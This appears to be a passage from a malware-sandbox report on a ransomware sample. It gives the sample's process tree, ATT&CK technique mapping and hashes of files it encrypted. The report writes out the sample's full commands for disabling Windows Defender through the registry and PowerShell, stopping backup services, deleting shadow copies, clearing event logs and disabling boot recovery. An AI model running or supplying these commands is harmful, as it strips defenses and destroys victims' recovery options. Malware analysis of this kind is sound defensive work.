PID 3608 wrote to memory of 1300	3608	211xahcou.exe	84
PID 1300 wrote to memory of 2512	1300	net.exe	86
PID 1300 wrote to memory of 2512	1300	net.exe	86
PID 3608 wrote to memory of 3960	3608	211xahcou.exe	87
PID 3608 wrote to memory of 3960	3608	211xahcou.exe	87
PID 3960 wrote to memory of 4740	3960	net.exe	89
PID 3960 wrote to memory of 4740	3960	net.exe	89
PID 3608 wrote to memory of 4036	3608	211xahcou.exe	90
PID 3608 wrote to memory of 4036	3608	211xahcou.exe	90
PID 4036 wrote to memory of 1532	4036	net.exe	92
PID 4036 wrote to memory of 1532	4036	net.exe	92
PID 3608 wrote to memory of 4496	3608	211xahcou.exe	93
PID 3608 wrote to memory of 4496	3608	211xahcou.exe	93
PID 3608 wrote to memory of 3696	3608	211xahcou.exe	95
PID 3608 wrote to memory of 3696	3608	211xahcou.exe	95
PID 3608 wrote to memory of 3480	3608	211xahcou.exe	97
PID 3608 wrote to memory of 3480	3608	211xahcou.exe	97
PID 3608 wrote to memory of 3528	3608	211xahcou.exe	99
PID 3608 wrote to memory of 3528	3608	211xahcou.exe	99
PID 3608 wrote to memory of 4812	3608	211xahcou.exe	101
PID 3608 wrote to memory of 4812	3608	211xahcou.exe	101
PID 3608 wrote to memory of 3080	3608	211xahcou.exe	103
PID 3608 wrote to memory of 3080	3608	211xahcou.exe	103
PID 3608 wrote to memory of 4368	3608	211xahcou.exe	105
PID 3608 wrote to memory of 4368	3608	211xahcou.exe	105
PID 3608 wrote to memory of 4332	3608	211xahcou.exe	107
PID 3608 wrote to memory of 4332	3608	211xahcou.exe	107
PID 3608 wrote to memory of 4384	3608	211xahcou.exe	109
PID 3608 wrote to memory of 4384	3608	211xahcou.exe	109
PID 3608 wrote to memory of 4664	3608	211xahcou.exe	111
PID 3608 wrote to memory of 4664	3608	211xahcou.exe	111
PID 3608 wrote to memory of 704	3608	211xahcou.exe	113
PID 3608 wrote to memory of 704	3608	211xahcou.exe	113
PID 3608 wrote to memory of 3256	3608	211xahcou.exe	115
PID 3608 wrote to memory of 3256	3608	211xahcou.exe	115
PID 3608 wrote to memory of 5068	3608	211xahcou.exe	117
PID 3608 wrote to memory of 5068	3608	211xahcou.exe	117
PID 3608 wrote to memory of 5000	3608	211xahcou.exe	119
PID 3608 wrote to memory of 5000	3608	211xahcou.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\211xahcou.exe
"C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3608
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:4456
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:4972
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:3124
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:3876
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:2680
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:4808
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:2512
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:4740
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UnistoreSvc_147c4" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_147c4" /y
    3⤵
    PID:1532
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:4496
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:3696
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:3480
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  - Launches sc.exe
  PID:3528
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  - Launches sc.exe
  PID:4812
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:3080
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:4368
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:4332
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UnistoreSvc_147c4" start= disabled
  2⤵
  - Launches sc.exe
  PID:4384
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:704
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:3256
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:5000
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4896
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4952
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4860
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:604
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3372
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:3440
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:432
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:1248
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:764
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:1624
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:1988
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:1980
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:2272
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:2504
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:1036
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:164
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:224
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:2732
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:852
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:2760
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:2844
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2248
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3620
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:8
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4596
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:4156
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1464
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:3908
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:948
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4816
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3540
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:3948
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:2804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5100
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe C:\n8pw_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
  2⤵
  PID:1732
- - C:\Windows\system32\PING.EXE
    ping.exe -n 5 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3308

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_reject_18.svg.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
711B

MD5
8bb62cfad37334a15129a0da2091d472

SHA1
a9f223eb2bd355c8cbf7d17db501db834f39cb6c

SHA256
94f76b160568e3705f1e0d2d6ff3ee6927bd812032498d373bbcc516af2864f7

SHA512
da08c15accffeca9c1ec985899ebf234aa881546dfb80862c72bfe206dfbf92772582ff87c0636ca0a4cdeeb03635de7a24aecacba86e22683a1d689724d6dab

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
683B

MD5
a0522ef468697e74b90c444ceb4aa17a

SHA1
31fa5bb9b4ada150c9001b6e9f3213644117187f

SHA256
57804748e775c08ae188b4d860f31e4482ab99b44ed1d8489780daa6756fb11c

SHA512
bbb91f8b3c204c4c04da2ad635eb18e9f224f73395dac509c438c0a645316162b6ff78e03e7af76d5da2d9e84cd0c4b5e9db1d4dc08bc3f524bcc55c1f4dbbd3

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
1KB

MD5
99a1fefa123aa745b30727cc5ad50126

SHA1
c48f74cee78f8ed8463634d80c4112f3e12bd566

SHA256
7a610114be56ff131462bc67f9a23bcd4fde4fdd0158691448ab9e4a3eb2ca3b

SHA512
504800f03a4aa57c1cfa15b28542382728b5f3dd85309fe12ebfd711980d78d15d8241d5f54956ee41da2cd65203b7764ab7b15119457b74ebc07fcf8e55a742

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
445B

MD5
ed537606a39879a091a8c085cf95ff38

SHA1
86c73d85094efbfdcd80abf119f03b64a71cbd0f

SHA256
42c312aa2a038ca54e9a6fe4bad8c9c044c35b4c5f421496f289c00c957d7591

SHA512
fc331c2e1ec84a6a83b51f365484033b3069d73c5987094cf526c45a92c3297df22fe2a35ec20382ed4d563ee604ecbdbdf17fb735f7e0118ab444b4d5db8e9d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_BgAAAAYAAAA0.cv2gj

Filesize
388B

MD5
6d8f7e9751f955452a9ceeb815456035

SHA1
e6903b2ec0f2c5632d4288f88d993d4a41f04527

SHA256
8bcf53efcb1b630087d4cfcedf5e48a7abaa9c71dd13745eedfd2c7cfa6827f5

SHA512
c869a94a224bce8ed553f5a86ffdea6d8a279e06a1c060b311cc52e4538b89e07fc0a4a76f85a28e2f62e8629a7c67101e990cc12bef2d0e2d6d7d3c1d4d7d90

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_DAAAAAwAAAA0.cv2gj

Filesize
552B

MD5
f364ee8508831e375004ac82b924efd5

SHA1
b04bc510ef53760bdd22ce0dd9d2e2f248c16df7

SHA256
87da831caa04bd303918a32265830ff97648dc8adc18881ba14d1cc1d28cde85

SHA512
399b2da615c0373214e3cf421f502fd0de02bdb9473da644e9f23df9ea7fc792da7d36bde61a456c2451276f74877232c8bedbe55e57098c1ffd13719206bac3

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
388B

MD5
39be6b8bd8dce3ff5a1c20ac41ba993f

SHA1
a49d8a0c769601bf922c8aa1673bfd3a92d67855

SHA256
854a09f1f875a3a2e6566c593af465c9c8a3aa9b9112eb755bb09cee76224a63

SHA512
9fd5d4f02aa9d24ce9591ac0542d0abadf2b26208c3043220d2a0f036298199131ad804f9be20c6cc67f39e2921eebec65efb3a1e435ee7318fd8591fcc2fa2a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_PgAAAD4AAAA0.cv2gj

Filesize
552B

MD5
b34c8c3b8117b038839beefa0df5a7ce

SHA1
c8d1e8eb4c71d5aa02e36fe3b7365374a9e4e32b

SHA256
bfef65c62bfc309f698e8e0b999edfc06ad272b87d805f183551c43f08d704a9

SHA512
89fa9f31f62c6e119e6280dbc475c35dd7bb37c27457732a0b1cb04809a35fec44a12ccb6a3a626586d596a0636d754a9ff79ecd9ed739c5c6edea50738a60d7

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_PgAAAD4AAAA0.cv2gj

Filesize
388B

MD5
2ca9f57d61ed45337ec4e6565480367f

SHA1
fa06ed14d72ad8ced6ad98a4e223bc80cccc5e75

SHA256
a584379ebf9aa0d3c0239edb7e1f114f01a9865f01c68494d5f28d410ba8d873

SHA512
83a172f2f304b2f634c313e248b62c11b7798f416872929ef233134bfc4ad8f44b1b4dfa123e8378a233417e1298a73088258f5671ace96ff677d1f26447de87

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
552B

MD5
74af10749d7f19d15c8dca65a7453415

SHA1
dc96d9dbffe472600548dc64c724055e62620d8d

SHA256
0e0084df79ab98e5df48ed1e01987f7ac3fcf4a038dd5453708d868f73a073a8

SHA512
83d190bf6f9cb77894e7aaf84029c40a2a0335e43d08062ca2275a2cb7a784a29b3b7b8be820c7dfb2f1458ab0528fcdfe45f05491be673b30495e1ed916999e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
611B

MD5
37d179c947c13f64b7b6356f57441032

SHA1
9d1c1bd0c370336c229baeb2cd7f80d7b3cf4d0a

SHA256
71039e6370f68913e67cb8451d3127c22d3e1045ca644e4dc9821e9f6f6899aa

SHA512
3034a8b9694bbde20be0f7fa2596fbca8fd3f1e45810b15a5cb1a2bc6f4ef852afc36639a56f82a4e582d74684724d5c4ee43cbf5e33c94c6cf00b3c059757bf

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
7KB

MD5
43bffe41847d66ad6fda78ebda09c226

SHA1
a07932384cd606b4155f40803588dfc78f231282

SHA256
cd3841a4f4f79fd608b4bc354306999ab5517c17a998391c3ed699fc0ed1c7f1

SHA512
9df6a3a744d96ee34a7fd87fad9179f342f1221fc7946ff89d481e4e5ba1be8d53051e11c062fc01b580d0908b6826a6f23b346334832a8386dd59cf373db238

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons_ie8.gif.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
7KB

MD5
0ee19f51b1551b8879df51c00a6edc93

SHA1
b874ac7039e8ab2951ba089bf3a93db954498aa2

SHA256
e917ab6520080955a588a6d31aedca187572372cd76517255e1beb0956e0f25c

SHA512
e3c683054429587b3fd5ea72d6a4fbd7017f9ee3d480a5e9e47b7a84ae29baff2650d4b2c43a6bd069e4da56643d5ec48a7ecd3507d5e9a1d6a09b8b348b5c97

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_GAAAABgAAAA0.cv2gj

Filesize
179B

MD5
117ec36a5cc6d82e63e8b3beae4a3099

SHA1
4c692192be53827f8ec8015ceb129f6e0f89e923

SHA256
041917c06c638a1b1accaf0d2f0b2a6dd335dea629de602e104553024d822ea4

SHA512
abb02a02a9161ece12464020676e880f1eed96b43a9dfd4f7ca06dc203fe633b0a712da5f151d36a5644d65aad7b2880c135df0bc42d7c1e61b44006807a8c9d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_OAAAADgAAAA0.cv2gj

Filesize
703B

MD5
ccc8d470e94b3441e41521572ba86ccd

SHA1
d294d7e78b596fefcc8084fab7917c54d3043e27

SHA256
a7cdf870b0b1b8459e94ed25a29daa87f5e9050294bf6cdff3bc72f93b928f94

SHA512
f3b2ca4d3160a089f6959b7c8e3e6c213c0facb2733f7948a7222196d3bd8c7350015602569df2cdc7408e38b0ff6700306d7e3439f0892b4d13d9f2d5329e42

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons_retina.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
15KB

MD5
755a7b491244b0a149e99b478f7edb16

SHA1
006e8f23d960cc0cade8812779d590a236478b5a

SHA256
0c84689a158136fc9fb30d5820cf86be580a29e798d88a06c30873dfc08817fa

SHA512
601734d3262a4e0aedf6377c1ce3f4b8f6a78efb9c49a5cacf68241db4e4e22cd04603960021892979e6063186e9ad6b838a5df28f2e38305848dfccf7dbc215

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations_retina.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
19KB

MD5
f31f23eac0a7652f14176101a8593a67

SHA1
4589cb054328f624623143a4179c449b8d93c6c3

SHA256
e8fefa84266c6ebb8d72ace987d717280a44deef0a6632ab394c84f543ae50ea

SHA512
8b12f0b42058f96870f848420bf62bcbeea4cda307488cb4c24f58e0e5e62337498cdeedfd1a94777aae08e04010d02e696016cbb665fd8576728b842e490109

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
823B

MD5
5e884e2f05ac036b7a6cded3efc2ea2d

SHA1
807c1cf1bf0943404601b6241bf4bcf9fcc29c9e

SHA256
b333de3a4a7be7749b82302085ed26ad868f0f8eccd09d2a8bb8840414e624d6

SHA512
6665aa6fa35e05d01a4a2312a93faf52d6b39409bfaa861c187b0cc2fc51e74aa253ebf56061872d548cb6d3d7bbf1f7c2568de81e5287e0a1d6591c1e780f15

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
1KB

MD5
3dde11f8594519f004ded2687db9b90e

SHA1
fcf1854df851616a25d7cf1439a9120b16902420

SHA256
196c132938d324c62184ddc85bdb1cd642af830712e0fbf0fb3230978316d510

SHA512
adc2cb3a37dbf5fe2ae79f5752c0d38d2427a95e333e848ffa113046f630eaa967b3cb29c049dcdd9b921d57e23392562d779c24207f770aba6e92392064f17b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
1KB

MD5
d59d8ff7aaa17ee875adbe48b7a77e78

SHA1
